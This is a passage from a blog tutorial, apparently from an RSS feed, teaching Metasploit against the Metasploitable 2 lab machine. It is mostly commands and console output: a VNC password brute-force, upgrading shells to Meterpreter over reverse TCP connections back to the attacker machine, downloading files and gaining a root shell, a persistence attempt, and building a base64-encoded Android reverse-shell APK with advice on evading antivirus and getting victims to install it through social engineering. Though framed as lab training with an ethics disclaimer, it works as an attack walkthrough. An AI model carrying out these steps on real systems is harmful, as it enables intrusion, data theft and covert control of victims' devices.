<pre class="wp-block-code"><code>msf6 auxiliary(<span style="color: #FF521B;" class="stk-highlight">scanner/vnc/vnc_login</span>) &gt; set RHOSTS 192.168.74.129
RHOSTS =&gt; 192.168.74.129
msf6 auxiliary(<span style="color: #FF521B;" class="stk-highlight">scanner/vnc/vnc_login</span>) &gt; set STOP_ON_SUCCESS true
STOP_ON_SUCCESS =&gt; true
msf6 auxiliary(<span style="color: #FF521B;" class="stk-highlight">scanner/vnc/vnc_login</span>) &gt; set THREADS 32
THREADS =&gt; 32
msf6 auxiliary(<span style="color: #FF521B;" class="stk-highlight">scanner/vnc/vnc_login</span>) &gt; set USER_AS_PASS true
USER_AS_PASS =&gt; true</code></pre>



<p>Now you can start running the brute force: </p>



<pre class="wp-block-code"><code>msf6 auxiliary(<span style="color: #FF521B;" class="stk-highlight">scanner/vnc/vnc_login</span>) &gt; run

&#091;*] 192.168.74.129:5900   - 192.168.74.129:5900 - Starting VNC login sweep
&#091;!] 192.168.74.129:5900   - No active DB -- Credential data will not be saved!
&#091;-] 192.168.74.129:5900   - 192.168.74.129:5900 - LOGIN FAILED: :&lt;BLANK&gt; (Incorrect: Authentication failed)
&#091;+] 192.168.74.129:5900   - 192.168.74.129:5900 - <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">Login Successful</span>: :<span style="color: #A23B72;" class="stk-highlight">password
</span>
&#091;*] Scanned 1 of 1 hosts (100% complete)
&#091;*] Auxiliary module execution completed
</code></pre>



<p>The brute force attempt was successful. We can see the <code>username:password</code> pair as well. There is no username set up here, and the password is just <code>password</code>. In real systems, most of the time the password will not be this simple. However, now you know how you can brute force the VNC authentication. </p>



<p>Now let’s try to login to the VNC with our cracked credentials. I’ll use the <code>vncviewer</code> command followed by the IP address of the victim machine: </p>



<pre class="wp-block-code"><code>msf6 auxiliary(<span style="color: #FF521B;" class="stk-highlight">scanner/vnc/vnc_login</span>) &gt; vncviewer 192.168.74.129
&#091;*] exec: vncviewer 192.168.74.129

Connected to RFB server, using protocol version 3.3
Performing standard VNC authentication
Password:
</code></pre>



<p>At this point, you’ll have to provide the password. Type in <code>password</code> and you’ll get in: </p>



<pre class="wp-block-code"><code>msf6 auxiliary(<span style="color: #FF521B;" class="stk-highlight">scanner/vnc/vnc_login</span>) &gt; vncviewer 192.168.74.129
&#091;*] exec: vncviewer 192.168.74.129</code></pre>



<pre class="wp-block-code"><code>Connected to RFB server, using protocol version 3.3
Performing standard VNC authentication
Password: 
<span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">Authentication successful</span>
Desktop name "root's X desktop (metasploitable:0)"
VNC server default format:
  32 bits per pixel.
  Least significant byte first in each pixel.
  True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Using default colormap which is TrueColor.  Pixel format:
  32 bits per pixel.
  Least significant byte first in each pixel.
  True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
</code></pre>



<p>Do you want to see the GUI version of the Metasploitable that we cracked just now? Here’s the view from the TightVNC application. </p>



<figure class="wp-block-image"><img loading="lazy" decoding="async" width="1919" height="985" src="https://nooblinux.com/wp-content/uploads/2022/02/word-image-1.png" alt="" class="wp-image-3539" srcset="https://nooblinux.com/wp-content/uploads/2022/02/word-image-1.png 1919w, https://nooblinux.com/wp-content/uploads/2022/02/word-image-1-300x154.png 300w, https://nooblinux.com/wp-content/uploads/2022/02/word-image-1-1024x526.png 1024w, https://nooblinux.com/wp-content/uploads/2022/02/word-image-1-768x394.png 768w, https://nooblinux.com/wp-content/uploads/2022/02/word-image-1-1536x788.png 1536w" sizes="auto, (max-width: 1919px) 100vw, 1919px" /></figure>



<p>This is beautiful. Now you can pretty much do anything you desire. Now that we’ve shown you 3 ways you can exploit the Metasploitable with the Metasploit Framework, it’s time to show you the things you might have to do once you’ve gained access. </p>



<h2 id="post-exploitation-tasks-with-metasploit-meterpreter" class="wp-block-heading"><a id="post-3536-_heading=h.vx1227"></a>Post Exploitation tasks with Metasploit &amp; Meterpreter</h2>



<p>One of the tasks you might do after exploiting is keeping the session in the background while you work on the Metasploit Framework. We’ve already shown you how to do that in the previous section. However, if you exit from the session then that opened session will be gone. </p>



<p>You will need to exploit the machine once again to get another session. The same thing will happen if the victim chooses to reboot the machine. In this section, we’ll show you how to keep your access even if the victim reboots his/her machine.  </p>



<p>One of the most useful tools after exploiting a target is the Meterpreter shell. It has many custom functionalities built into it that you don’t need to make a program or install any software to do. </p>



<h3 id="what-is-meterpreter" class="wp-block-heading"><a id="post-3536-_heading=h.3fwokq0"></a>What is Meterpreter?</h3>



<p>Meterpreter is a&nbsp;Metasploit payload&nbsp;that gives an interactive shell that&nbsp;attackers may use&nbsp;and execute code on&nbsp;the victim system. It uses&nbsp;in-memory DLL injection to deploy. This allows Meterpreter to be fully deployed in the&nbsp;memory and it&nbsp;does not write anything to the disk. There are no new processes&nbsp;as Meterpreter gets&nbsp;injected&nbsp;into the affected process. It may also&nbsp;move to other operating processes. The forensic footprint of Meterpreter&nbsp;is therefore very small. </p>



<h3 id="upgrade-to-a-meterpreter-from-shell" class="wp-block-heading"><a id="post-3536-_heading=h.1v1yuxt"></a>Upgrade to a meterpreter from shell</h3>



<p>Meterpreter is an advanced payload for Metasploit that offers lots of functions after exploiting a system. But if you noticed, we didn’t get any meterpreter sessions from the exploits. </p>



<p>In fact, the exploits did not have an option to set meterpreter as a payload. Let’s learn how to upgrade to meterpreter from a shell. Let’s see the sessions we have at first using the <code>sessions</code> command: </p>



<pre class="wp-block-code"><code>msf6 auxiliary(<span style="color: #FF521B;" class="stk-highlight">scanner/vnc/vnc_login</span>) &gt; sessions</code></pre>



<pre class="wp-block-code"><code>Active sessions
===============

  Id  Name  Type            Information  Connection
  ‐‐  ‐‐‐‐  ‐‐‐‐            ‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐
  2         shell cmd/unix               0.0.0.0:0 -&gt; 192.168.74.129:6200 (192.168.74.129)
  4         shell cmd/unix               192.168.74.128:4444 -&gt; 192.168.74.129:33209 (192.168.74.129)</code></pre>



<p>As you can see, we have two sessions now with id 2 and 4. Both of these sessions are of unix cmd shell type. Now let’s try to upgrade to meterpreter. For this purpose, we’ll be using the <code>shell to meterpreter</code> exploit: </p>



<pre class="wp-block-code"><code>msf6 auxiliary(<span style="color: #FF521B;" class="stk-highlight">scanner/vnc/vnc_login</span>) &gt; search shell to meterpreter upgrade</code></pre>



<pre class="wp-block-code"><code>Matching Modules
================

   #  Name                                          Disclosure Date  Rank       Check  Description
   ‐  ‐‐‐‐                                          ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐       ‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">0  post/multi/manage/shell_to_meterpreter</span>                         normal     No     Shell to Meterpreter Upgrade
   1  exploit/windows/local/powershell_cmd_upgrade  1999-01-01       excellent  No     Windows Command Shell Upgrade (Powershell)


Interact with a module by name or index. For example info 1, use 1 or use exploit/windows/local/powershell_cmd_upgrade
</code></pre>



<p>Let’s use the first one: </p>



<pre class="wp-block-code"><code>msf6 auxiliary(<span style="color: #FF521B;" class="stk-highlight">scanner/vnc/vnc_login</span>) &gt; use 0
msf6 post(<span style="color: #ff521b;" class="stk-highlight">multi/manage/shell_to_meterpreter</span>) &gt; show options</code></pre>



<pre class="wp-block-code"><code>Module options (post/multi/manage/shell_to_meterpreter):

   Name     Current Setting  Required  Description
   ‐‐‐‐     ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   HANDLER  true             yes       Start an exploit/multi/handler to receive the connection
   LHOST                     no        IP of host that will receive the connection from the payload (Will try to auto detect).
   LPORT    4433             yes       Port for payload to connect to.
   SESSION                   yes       The session to run this module on.
</code></pre>



<p>Now we have to specify the options. Remember the IDs of the sessions? Let’s try to upgrade the session ID 4: </p>



<pre class="wp-block-code"><code>msf6 post(<span style="color: #ff521b;" class="stk-highlight">multi/manage/shell_to_meterpreter</span>) &gt; set SESSION 4
SESSION =&gt; 4
</code></pre>



<p>Now exploit:</p>



<pre class="wp-block-code"><code>msf6 post(<span style="color: #ff521b;" class="stk-highlight">multi/manage/shell_to_meterpreter</span>) &gt; exploit</code></pre>



<pre class="wp-block-code"><code>&#091;*] Upgrading session ID: 4
&#091;*] Starting exploit/multi/handler
&#091;*] Started reverse TCP handler on 192.168.74.128:4433 
&#091;*] Sending stage (984904 bytes) to 192.168.74.129
&#091;*] <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">Meterpreter session 6 opened (192.168.74.128:4433</span> -&gt; 192.168.74.129:46735) at 2022-02-07 10:08:39 -0400
&#091;*] Command stager progress: 100.00% (773/773 bytes)
&#091;*] Post module execution completed
</code></pre>



<p>This exploit might not work properly the first time. Keep on trying again until it works. Now let’s look at the sessions again: </p>



<pre class="wp-block-code"><code>msf6 post(<span style="color: #ff521b;" class="stk-highlight">multi/manage/shell_to_meterpreter</span>) &gt; sessions</code></pre>



<pre class="wp-block-code"><code>Active sessions
===============

  Id  Name  Type                   Information                                                                       Connection
  --  ----  ----                   -----------                                                                       ----------
  2         shell cmd/unix                                                                                           0.0.0.0:0 -&gt; 192.168.74.129:6200 (192.168.74.129)
  4         shell cmd/unix                                                                                           192.168.74.128:4444 -&gt; 192.168.74.129:33209 (192.168.74.129)
  <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">6         meterpreter x86/linux</span>  root @ metasploitable (uid=0, gid=0, euid=0, egid=0) @ metasploitable.localdo...  192.168.74.128:4433 -&gt; 192.168.74.129:46735 (192.168.74.129)</code></pre>



<p>   There is also another option to upgrade your shell session to meterpreter using the <code>sessions</code> command: </p>



<pre class="wp-block-code"><code>msf6 post(<span style="color: #ff521b;" class="stk-highlight">multi/manage/shell_to_meterpreter</span>) &gt; sessions -u 2</code></pre>



<pre class="wp-block-code"><code>&#091;*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): &#091;2]

&#091;*] Upgrading session ID: 2
&#091;*] Starting exploit/multi/handler
&#091;*] Started reverse TCP handler on 192.168.74.128:4433 
&#091;*] Sending stage (984904 bytes) to 192.168.74.129
&#091;*] Meterpreter session 3 opened (192.168.74.128:4433 -&gt; 192.168.74.129:46599) at 2021-06-29 10:55:16 -0400</code></pre>



<p>This is a much easier way. You can kill any sessions with the “sessions” command using the “-k” flag followed by the session ID.  You can interact with any of the sessions using the “-i” flag with the sessions command. Let’s open session 3 that we just got – </p>



<pre class="wp-block-code"><code>msf6 post(<span style="color: #ff521b;" class="stk-highlight">multi/manage/shell_to_meterpreter</span>) &gt; sessions -i 3
&#091;*] Starting interaction with 3...
<span style="text-decoration: underline;">meterpreter</span> &gt;
</code></pre>



<p>As you can see, now we’re in meterpreter. There’s a lot a meterpreter console can do. You can type <code>help</code> to get a list of commands meterpreter supports. Let’s find out some of the functionalities that meterpreter can do. </p>



<h3 id="meterpreter-functionalities" class="wp-block-heading"><a id="post-3536-_heading=h.4f1mdlm"></a>Meterpreter functionalities</h3>



<p>Meterpreter gives you loads of options for you to explore. You can get the commands by typing in “help” in meterpreter console. You can navigate the victim machine using the basic navigational commands of Linux. You can also download or upload some files into the victim system. There is a search option to search the victim machine with your desired keywords: </p>



<p>You can search for a file with the <code>search</code> command with <code>-f</code> flag:</p>



<pre class="wp-block-code"><code><span style="text-decoration: underline;">meterpreter</span> &gt; search -f license.txt
Found 8 results...
    /var/www/tikiwiki-old/license.txt (24381 bytes)
    /var/www/twiki/license.txt (19440 bytes)
    /var/www/tikiwiki/license.txt (24381 bytes)
    /home/msfadmin/vulnerable/twiki20030201/twiki-source/license.txt (19440 bytes)
    /var/www/tikiwiki-old/lib/adodb/license.txt (26079 bytes)
    /var/www/tikiwiki-old/lib/htmlarea/license.txt (1545 bytes)
    /var/www/tikiwiki/lib/adodb/license.txt (26079 bytes)
    /var/www/tikiwiki/lib/htmlarea/license.txt (1545 bytes)
</code></pre>



<p>Downloding any file is super straightforward as well: </p>



<pre class="wp-block-code"><code><span style="text-decoration: underline;">meterpreter</span> &gt; download /var/www/tikiwiki-old/license.txt
&#091;*] Downloading: /var/www/tikiwiki-old/license.txt -&gt; /root/license.txt
&#091;*] Downloaded 23.81 KiB of 23.81 KiB (100.0%): /var/www/tikiwiki-old/license.txt -&gt; /root/license.txt
&#091;*] download   : /var/www/tikiwiki-old/license.txt -&gt; /root/license.txt
</code></pre>



<p>   You can enter the shell of the system anytime you like with the <code>shell</code> command: </p>



<pre class="wp-block-code"><code><span style="text-decoration: underline;">meterpreter</span> &gt; shell
Process 5502 created.
Channel 2 created.
<span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">whoami
</span>
<span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">root</span>
^C
Terminate channel 2? &#091;y/N]  y
</code></pre>



<p>Furthermore, there are some networking commands such as – <code>arp</code>, <code>ifconfig</code>, <code>netstat</code>, etc.  </p>



<p>You can list the process running in the victim machine with the <code>ps</code> command. There is an option to see the PID of the process that has hosted the meterpreter: </p>



<pre class="wp-block-code"><code><span style="text-decoration: underline;">meterpreter</span> &gt; getpid
Current pid: 5390
</code></pre>



<p>In Windows systems, you may be able to migrate your meterpreter onto another process using the <code>migrate</code> command. You could also get keystrokes by using the <code>keyscan_start</code> and <code>keyscan_dump</code> depending on the system. On our victim machine, these commands are not supported: </p>



<pre class="wp-block-code"><code><span style="text-decoration: underline;">meterpreter</span> &gt; keyscan_start
&#091;-] The "keyscan_start" command is not supported by this Meterpreter type (x86/linux)
</code></pre>



<p>You can always find out the capabilities from the <code>help</code> command. Always keep in mind, as long as you have the command execution abilities, you can just upload a script to the victim machine that will do the job for you. </p>



<h3 id="staying-persistently-on-the-exploited-machine" class="wp-block-heading"><a id="post-3536-_heading=h.2u6wntf"></a>Staying persistently on the exploited machine</h3>



<p>As we told you earlier, if the victim system reboots, you will lose your active sessions. You might need to exploit the system once again or start the whole procedure from the very beginning – which might not be possible. If your victim machine runs Windows, there is an option called <code>persistence</code> in Metasploit, which will keep your access persistent. To do it you’ll have to use: </p>



<pre class="wp-block-code"><code><span style="text-decoration: underline;">meterpreter</span> &gt; run persistence

&#091;!] Meterpreter scripts are deprecated. Try exploit/windows/local/persistence.
&#091;!] Example: run exploit/windows/local/persistence OPTION=value &#091;...]
&#091;-] x86/linux version of Meterpreter is not supported with this Script!
</code></pre>



<p>As you can see, this command does not work in our victim system. This is because it’s running on Linux. There is, however, an alternate option for keeping your access persistent on Linux machines as well. </p>



<p>For that purpose, you can use the <code>crontab</code> to do this. <strong>Cron</strong> is the task scheduler for Linux. If you’re not familiar with <code>cron</code> command in Linux, we suggest you follow an article that covers this topic in detail <a href="https://bytexd.com/how-to-schedule-cron-jobs-with-crontab/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">here<span class="wpel-icon wpel-image wpel-icon-19"></span></a>.  </p>



<h1 id="create-custom-payloads-with-msfvenom" class="wp-block-heading"><a id="post-3536-_heading=h.19c6y18"></a>Create custom payloads with msfvenom</h1>



<p><code>msfvenom</code> is a tool that comes with the Metasploit Framework. </p>



<p>With this tool, you can create custom payloads tailored to specific targets and requirements. Furthermore, you can attach payloads with other files that make your payload less suspicious. You can also edit the codes of your payloads and change them to evade detection by the threat detection systems. You can see all the options available for <code>msfvenom</code> by typing in <code>msfvenom -h</code>. </p>



<h3 id="check-all-options-for-creating-your-payload" class="wp-block-heading"><a id="post-3536-_heading=h.jsr9h55ihhku"></a>Check all options for creating your payload</h3>



<p>To see all the options for creating the payload, you can list the modules by using the <code>-l</code> flag followed by the module type – which will be payload in our case. </p>



<pre class="wp-block-code prompt"><code>msfvenom -l payloads</code></pre>



<p>You’ll get a long list of payloads in the output. You can use <code>grep</code> command to narrow the result down to your liking. Let’s say I wanted to create payloads for Android. I’ll use the following to list the payloads: </p>



<pre class="wp-block-code prompt"><code>msfvenom -l payloads | grep android</code></pre>



<pre class="wp-block-code"><code>    android/meterpreter/reverse_http                    Run a meterpreter server in Android. Tunnel communication over HTTP
    android/meterpreter/reverse_https                   Run a meterpreter server in Android. Tunnel communication over HTTPS
    android/meterpreter/reverse_tcp                     Run a meterpreter server in Android. Connect back stager
    android/meterpreter_reverse_http                    Connect back to attacker and spawn a Meterpreter shell
    android/meterpreter_reverse_https                   Connect back to attacker and spawn a Meterpreter shell
    android/meterpreter_reverse_tcp                     Connect back to the attacker and spawn a Meterpreter shell
    android/shell/reverse_http                          Spawn a piped command shell (sh). Tunnel communication over HTTP
    android/shell/reverse_https                         Spawn a piped command shell (sh). Tunnel communication over HTTPS
    android/shell/reverse_tcp                           Spawn a piped command shell (sh). Connect back stager
</code></pre>



<p>Now, imagine I wanted to use the marked payload (<code>android/meterpreter/reverse_tcp</code>). I will need to know what options I have to set. To see the options for the payload, you’ll have to use the <code>-p</code> flag to specify the payload and the <code>--list-options</code> flag as below: </p>



<pre class="wp-block-code prompt"><code>msfvenom -p android/meterpreter/reverse_tcp --list-options</code></pre>



<pre class="wp-block-code"><code>Options for payload/android/meterpreter/reverse_tcp:
=========================


       Name: Android Meterpreter, Android Reverse TCP Stager
     Module: payload/android/meterpreter/reverse_tcp
   Platform: Android
       Arch: dalvik
Needs Admin: No
 Total size: 10175
       Rank: Normal

Provided by:
    mihi
    egypt &lt;egypt@metasploit.com&gt;
    OJ Reeves

<span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">Basic options</span>:
Name   Current Setting  Required  Description
‐‐‐‐   ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
<span style="color: #3f84e5;" class="stk-highlight">LHOST</span>                   yes       The listen address (an interface may be specified)
LPORT  4444             yes       The listen port

Description:
  Run a meterpreter server in Android. Connect back stager



<span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">Advanced options</span> for payload/android/meterpreter/reverse_tcp:
=========================

    Name                         Current Setting  Required  Description
    ----                         ---------------  --------  -----------
    AndroidHideAppIcon           false            no        Hide the application icon automatically after launch
    AndroidMeterpreterDebug      false            no        Run the payload in debug mode, with logging enabled
    AndroidWakelock              true             no        Acquire a wakelock before starting the payload
    AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
    AutoRunScript                                 no        A script to run automatically on session creation.
    AutoSystemInfo               true             yes       Automatically capture system information on initialization.
    AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
    AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
    EnableStageEncoding          false            no        Encode the second stage payload
    EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
    HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
    InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
    PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
    PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
    PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
    PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
    PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
    PingbackRetries              0                yes       How many additional successful pingbacks
    PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
    ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
    ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
    ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
    ReverseListenerComm                           no        The specific communication channel to use for this listener
    ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
    SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
    SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
    SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
    SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
    StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
    StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
    StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
    StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
    StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
    VERBOSE                      false            no        Enable detailed status messages
    WORKSPACE                                     no        Specify the workspace for this module

Evasion options for payload/android/meterpreter/reverse_tcp:
=========================

    Name  Current Setting  Required  Description
    ‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
</code></pre>



<p>There are loads of options for this exploit, as you can see. The options are divided into two categories. Basic options and Advanced options. You can create a payload just by setting up the basic options. However, advanced options are very important as well. They offer customization as well as play a crucial role to evade threat detection systems. </p>



<p>You can modify them and check how many anti-viruses detect it as a threat. Many online websites allow you to check your payloads. Keep in mind, however, that these systems might store your data and add them to the anti-virus database, rendering your payloads to be detected more often. </p>



<p><strong>VirusTotal</strong> is a website that allows you to upload a file and check for viruses. There are online virus checkers for almost all the anti-virus packages (<strong>avast</strong>, <strong>avg</strong>, <strong>eset</strong>, etc.).  At the end of this article, you’ll see me testing our payload on these websites. </p>



<h3 id="encoding-your-payload-to-evade-detection" class="wp-block-heading"><a id="post-3536-_heading=h.73c8luhs73og"></a>Encoding your payload to evade detection</h3>



<p>Before we create the payload, remember encoders? Encoders are the modules that encrypt the code so it becomes harder for the threat detection systems to detect it as a threat. Let’s see how to encode our payload. At first, list the encoder options available. I’ll use the ruby based encoders by grepping <code>ruby</code>: </p>



<pre class="wp-block-code prompt"><code>msfvenom -l encoders | grep ruby
    ruby/base64                   great      Ruby Base64 Encoder
</code></pre>



<p>Let’s set up the basic options and create a basic payload now: </p>



<pre class="wp-block-code prompt"><code>msfvenom -p android/meterpreter/reverse_tcp -e ruby/base64 LHOST=192.168.74.128 LPORT=8080 -o /root/Desktop/payload.apk</code></pre>



<pre class="wp-block-code"><code>
&#091;-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
&#091;-] No arch selected, selecting arch: dalvik from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of ruby/base64
ruby/base64 succeeded with size 13625 (iteration=0)
ruby/base64 chosen with final size 13625
Payload size: 13625 bytes
<span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">Saved as: /root/Desktop/payload.apk</span>
</code></pre>



<p>Here, the LHOST is our IP address and LPORT is the port for the connection. You should change the default port to evade easy detection. Now, before we send this payload, we need to set up the handler for the incoming connection. <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">Handler is just a program that will listen on a port for incoming connections, since the victim will connect to us</span>. To do that, we’ll fire up <code>msfconsole</code> and search <strong>multi/handler</strong>: </p>



<pre class="wp-block-code promptmsf6"><code>search multi/handler</code></pre>



<pre class="wp-block-code"><code>Matching Modules
================

   #  Name                                                 Disclosure Date  Rank       Check  Description
   -  ‐‐‐‐                                                 ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐       ‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   0  exploit/linux/local/apt_package_manager_persistence  1999-03-09       excellent  No     APT Package Manager Persistence
   1  exploit/android/local/janus                          2017-07-31       manual     Yes    Android Janus APK Signature bypass
   2  auxiliary/scanner/http/apache_mod_cgi_bash_env       2014-09-24       normal     Yes    Apache mod_cgi Bash Environment Variable Injection (Shellshock) Scanner
   3  exploit/linux/local/bash_profile_persistence         1989-06-08       normal     No     Bash Profile Persistence
   4  exploit/linux/local/desktop_privilege_escalation     2014-08-07       excellent  Yes    Desktop Linux Password Stealer and Privilege Escalation
   <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">5  exploit/multi/handler</span>                                                 <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">manual     No     Generic Payload Handler</span>
   6  exploit/windows/mssql/mssql_linkcrawler              2000-01-01       great      No     Microsoft SQL Server Database Link Crawling Command Execution
   7  exploit/windows/browser/persits_xupload_traversal    2009-09-29       excellent  No     Persits XUpload ActiveX MakeHttpRequest Directory Traversal
   8  exploit/linux/local/yum_package_manager_persistence  2003-12-17       excellent  No     Yum Package Manager Persistence


Interact with a module by name or index. For example info 8, use 8 or use exploit/linux/local/yum_package_manager_persistence
</code></pre>



<p>As you can see, number 5 is our manual and Generic Payload Handler. Use this one and we must set our payload matching to the one we just used (/android/meterpreter/reverse_tcp) – </p>



<pre class="wp-block-code promptmsf6"><code>use 5</code></pre>



<pre class="wp-block-code"><code>&#091;*] <span style="color: #ffd670;" class="stk-highlight">Using configured payload generic/shell_reverse_tcp</span></code></pre>



<pre class="wp-block-code"><code>msf6 exploit(<span style="color: #ff521b;" class="stk-highlight">multi/handler</span>) &gt; set payload /android/meterpreter/reverse_tcp
payload =&gt; android/meterpreter/reverse_tcp
msf6 exploit(<span style="color: #ff521b;" class="stk-highlight">multi/handler</span>) &gt; show options</code></pre>



<pre class="wp-block-code"><code>Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐


Payload options (android/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ‐‐‐‐   ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   ‐‐  ‐‐‐‐
   0   Wildcard Target
</code></pre>



<p>In the output, we can see that the default payload for exploit (multi/handler) was (<span style="color: #ffd670;" class="stk-highlight">generic/shell_reverse_tcp</span>). So we set the payload to our desired one (<span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">android/meterpreter/reverse_tcp</span>). Now let’s set up the <code>LHOST</code> to 192.168.74.128 (attack machine’s IP) and LPORT to 8080 just like we did when we created the payload: </p>



<pre class="wp-block-code"><code>msf6 exploit(<span style="color: #ff521b;" class="stk-highlight">multi/handler</span>) &gt; set LHOST 192.168.74.128
LHOST =&gt; 192.168.74.128
msf6 exploit(<span style="color: #ff521b;" class="stk-highlight">multi/handler</span>) &gt; set LPORT 8080
LPORT =&gt; 8080
</code></pre>



<p>Now you can run this exploit to start listening in for connections – </p>



<pre class="wp-block-code"><code>msf6 exploit(<span style="color: #ff521b;" class="stk-highlight">multi/handler</span>) &gt; run
&#091;*] Started reverse TCP handler on 192.168.74.128:8080</code></pre>



<p>The meterpreter session will start as soon as the Android device installs the <code>apk</code> file. This concludes how you can create payloads with the <code>msfvenom</code> tool. You can send this <code>apk</code> out and ask the victims to install it by social engineering or go install it yourself if you have physical access. Bear in mind that violation of privacy and system penetration without permission is illegal and we suggest you use these techniques ethically for learning purposes only.  </p>



<h2 id="checking-if-your-payload-can-evade-anti-virus-programs" class="wp-block-heading"><a id="post-3536-_heading=h.3tbugp1"></a>Checking if your payload can evade anti-virus programs</h2>



<p>We’ve already told you how you might try to evade the anti-virus software. Let’s have some fun now. We’ll check how many viruses can detect our <code>apk</code> payload that we just created.  </p>



<figure class="wp-block-image"><img loading="lazy" decoding="async" width="1899" height="945" src="https://nooblinux.com/wp-content/uploads/2022/02/word-image-2.png" alt="" class="wp-image-3540" srcset="https://nooblinux.com/wp-content/uploads/2022/02/word-image-2.png 1899w, https://nooblinux.com/wp-content/uploads/2022/02/word-image-2-300x149.png 300w, https://nooblinux.com/wp-content/uploads/2022/02/word-image-2-1024x510.png 1024w, https://nooblinux.com/wp-content/uploads/2022/02/word-image-2-768x382.png 768w, https://nooblinux.com/wp-content/uploads/2022/02/word-image-2-1536x764.png 1536w" sizes="auto, (max-width: 1899px) 100vw, 1899px" /></figure>



<p>The result is phenomenal. Or, there might be something wrong here! The VirusTotal website might not properly work for the APK files. Whatever it may be, you now know how to create custom payloads for penetration testing.  </p>



<h1 id="conclusion" class="wp-block-heading"><a id="post-3536-_heading=h.28h4qwu"></a>Conclusion</h1>



<p>In this tutorial, you learned about Metasploit Framework from the basics to the advanced level. You can experiment and practice to learn more on your own. </p>



<p>We showed you how to use Metasploit on an intentionally vulnerable machine Metasploitable 2. In reality, these types of backdated and vulnerable machines might not be present nowadays. However, there are so many vectors from where an attack might be possible. Keep on learning. </p>



<p>Remember to use your knowledge for the good. We hope you liked our tutorial. If you have something you’d like to ask, feel free to leave a comment. We’ll get back to you as soon as possible. </p>
]]></content:encoded>
					
					<wfw:commentRss>https://nooblinux.com/metasploit-tutorial/feed/</wfw:commentRss>
			<slash:comments>4</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">3536</post-id>	</item>
		<item>
		<title>How To Setup A Virtual Penetration Testing Lab</title>
		<link>https://nooblinux.com/how-to-setup-a-virtual-penetration-testing-lab/</link>
					<comments>https://nooblinux.com/how-to-setup-a-virtual-penetration-testing-lab/#respond</comments>
		
		<dc:creator><![CDATA[N00b Ed]]></dc:creator>
		<pubDate>Tue, 19 Oct 2021 23:29:13 +0000</pubDate>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Pentesting]]></category>
		<category><![CDATA[virtual machines]]></category>
		<guid isPermaLink="false">https://nooblinux.com/?p=3458</guid>

					<description><![CDATA[If you are just getting started with penetration testing and ethical hacking, you will need a penetration testing lab to practice your skills and test the different security tools available. This post will give you a step-by-step guide on setting up your virtual penetration testing lab and install the various operating systems and vulnerable machines [&#8230;]]]></description>
										<content:encoded><![CDATA[
